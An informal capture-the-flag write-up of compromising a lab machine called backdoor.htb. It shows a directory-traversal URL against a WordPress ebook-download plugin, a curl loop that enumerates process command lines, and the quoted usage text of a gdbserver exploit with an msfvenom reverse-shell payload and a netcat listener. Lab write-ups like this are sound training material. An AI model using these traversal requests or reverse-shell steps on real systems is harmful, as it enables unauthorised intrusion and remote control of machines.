Directory traversall blog

This one gonna help me to exploit the machine.
There is 3 exemples, this one sound good.
/proc/[PID]/cmdline

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl=/proc/1/cmdline

I don’t know how to use burpsuite, I’m gonna create a script.

i=1
while ((i<1000))
          do
    echo $i
    curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl=/proc/$i/cmdline >> pid.txt    
    ((i=i+1))
done

I forgot it put the \n for each lines but it works.

gdbserver

Ahaha I just need a sheel and I’m root.

exploit gdb server

https://www.exploit-db.com/exploits/50539

help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver   ->  10.10.10.200:1337
- Attacker's listener  ->  10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''

This is what you have to do.
It was hard to connect to the server, I had lot of errors.
I was drooling on my keyboard while i thought about what i could do next.

And I’m in.

This exploit is so good.
We don’t have gcc on the target machine so I’m gonna use python.
